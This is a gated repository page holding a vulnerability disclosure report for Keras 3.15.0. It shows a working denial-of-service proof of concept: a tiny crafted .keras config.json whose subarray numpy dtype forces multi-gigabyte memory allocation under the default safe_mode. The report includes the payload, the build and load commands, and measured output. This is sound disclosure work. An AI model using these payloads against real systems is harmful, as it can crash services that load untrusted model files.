You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

Uncontrolled memory allocation via attacker-controlled numpy subarray-dtype in the __numpy__ deserializer (reachable under safe_mode=True, .keras native format)

Target: keras (keras-team/keras), PyPI package keras Version tested: keras 3.15.0 (installed release, verified live) Vulnerable file: keras/src/saving/serialization_lib.py (lines 655-656) Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service) Impact: Remote/uncontrolled memory allocation and OOM DoS triggered by loading a tiny (~600-byte) crafted .keras file through the fully-default public API β€” keras.saving.load_model(path) with safe_mode=True (the default). No code execution, no safe_mode=False, no lambda required.


Root cause

In deserialize_keras_object, the __numpy__ special case builds a numpy array directly from untrusted config values:

# keras/src/saving/serialization_lib.py  (lines 655-656)
if class_name == "__numpy__":
    return np.array(inner_config["value"], dtype=inner_config["dtype"])

Both inner_config["value"] (a JSON list) and inner_config["dtype"] (a string) come straight from the untrusted config.json inside a .keras zip archive. numpy accepts a subarray dtype string such as "(268435455,)f8", whose per-element itemsize is ~2 GiB (268435455 * 8 = 2,147,483,640 bytes β€” just under numpy's C-int itemsize cap of 2^31-1). Constructing an array from a one-element input list with that dtype produces shape (1, 268435455) and physically commits ~2.15 GB:

np.array([0.0], dtype="(268435455,)f8")  ->  shape (1, 268435455), nbytes 2147483640

Two properties make this a real, default-reachable primitive:

  1. It executes BEFORE the safe_mode gate. The __lambda__ branch that honors safe_mode is at line ~679, after the __numpy__ branch. The __numpy__ case has no size guard and no safe_mode check, so safe_mode=True (the load_model default) provides zero protection here.

  2. Linear N x 2 GB amplification. A .keras config.json whose top-level object is a plain dict with no class_name/config keys causes deserialize_keras_object to recurse into every value (the dict-walking branch, lines ~631-637). Each key holding a __numpy__ node builds and retains its own ~2 GB array, so N keys request ~N x 2 GB simultaneously.

load_model's signature confirms the default-safe path is affected:

# keras/src/saving/saving_api.py:126
def load_model(filepath, custom_objects=None, compile=True, safe_mode=True):

Proof of Concept

A 594-byte numpy_bomb.keras archive whose 270-byte config.json is:

{"k0": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
 "k1": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
 "k2": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}}

Loading it via the fully-default public API commits ~6.35 GB before failing:

import keras
keras.saving.load_model("numpy_bomb.keras")   # safe_mode=True, compile=True (defaults)

Scaling the entry count to 12 (a 626-byte bomb12.keras) requests 25 GB and OOMs. Config-bytes β†’ bytes-committed amplification is **24,000x**.

Files in this repo

  • build_poc.py β€” builds the malicious .keras archive for any entry count
  • numpy_bomb.keras (594 B) β€” 3-entry PoC, ~6.35 GB commit
  • bomb12.keras (626 B) β€” 12-entry PoC, ~25 GB request β†’ OOM
  • benign.keras (15,883 B) β€” real Sequential model, negative control
  • direct_deser.py β€” isolates the primitive with explicit safe_mode=True
  • load_poc.py β€” end-to-end default load_model reproduction
  • rlimit_run.py β€” bounded OOM proof + negative control under RLIMIT_AS=2.5 GB
  • np_amp.py, np_dtype.py, mk_benign.py, probe_recur.py β€” supporting scripts

Captured evidence (verbatim, keras 3.15.0)

Primitive, explicit safe_mode=True (direct_deser.py):

keras 3.15.0 safe_mode default = True
rss before MB: 206.2
returned type: <class 'numpy.ndarray'>  nbytes: 2147483640
rss after MB: 2254.2

Underlying numpy amplification (re-confirmed live, numpy 2.3.5):

numpy 2.3.5 rss before MB 24.8
shape (1, 268435455) nbytes 2147483640 rss after MB 2072.8

End-to-end default load_model("numpy_bomb.keras") (load_poc.py):

keras 3.15.0
rss before load MB: 206.4
raised: ValueError Expected object to be an instance of `KerasSaveable`, but got {'k0': array([[0., 0., 0., ..., 0., 0., 0.]], shape=(1, 26...
elapsed s: 2.3
rss PEAK after load MB: 6351.8

(The ValueError is raised only after all three ~2 GB arrays have already been materialized β€” the DoS damage is done before the type check fails.)

Bounded OOM proof + negative control (rlimit_run.py, RLIMIT_AS=2.5 GB):

[RLIMIT_AS=2.5GB] loading benign.keras
  RESULT: loaded OK -> Sequential | peak rss MB: 208.7
[RLIMIT_AS=2.5GB] loading bomb12.keras
  RESULT: MemoryError (DoS) | peak rss MB: 206.7

Same loader, same code path: a real 15,883-byte model loads fine under a 2.5 GB address-space cap, while the 626-byte attacker file raises MemoryError.

Vulnerable source, as shipped (extracted from the installed package):

# keras/src/saving/serialization_lib.py:655-656
if class_name == "__numpy__":
    return np.array(inner_config["value"], dtype=inner_config["dtype"])

Confirmed to sit before the __lambda__ / safe_mode gate (line ~679) in the same function.


Reproduction steps

pip install keras==3.15.0 h5py numpy
python build_poc.py 3  numpy_bomb.keras     # 594-byte file
python build_poc.py 12 bomb12.keras         # 626-byte file
python load_poc.py numpy_bomb.keras         # watch RSS peak ~6.35 GB
python rlimit_run.py bomb12.keras           # MemoryError under 2.5 GB cap
python rlimit_run.py benign.keras           # negative control: loads OK

Suggested fix

Guard the __numpy__ (and __tensor__) special case before allocation: reject subarray dtypes, or cap the resulting itemsize/total element count against the length of the input value list, or resolve the dtype and refuse when np.dtype(dtype).itemsize grossly exceeds what a scalar element of value should occupy. The allocation should be bounded by the size of the serialized input, not by an attacker-chosen dtype string.


Dedup / novelty note

This is a distinct primitive and code path from prior Keras findings:

  • Not the .keras config.json large-file / 4 GiB-floor config bomb (that abuses raw JSON payload size; here the malicious config.json is 270 bytes and the amplification is dtype-driven, ~24,000x).
  • Not the legacy H5 model_config layer-dimension / units alloc, nor the Dense build_config shape allocation (those abuse layer shape/units integers; this abuses numpy subarray-dtype itemsize with a 1-element value list, in the native .keras format).
  • Not the assets zip-bomb, multi-optimizer ReDoS, H5 weight-names stack-bomb, or any lambda/safe_mode=False code-execution path. This triggers under the default safe_mode=True with no lambda and no code execution.

No CVE currently covers the __numpy__ subarray-dtype itemsize amplification in serialization_lib.deserialize_keras_object. This report is for coordinated disclosure via huntr.

Ethics: PoC files only allocate/exhaust memory in the loader; they contain no code execution, exfiltration, or persistence.

Downloads last month
-
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support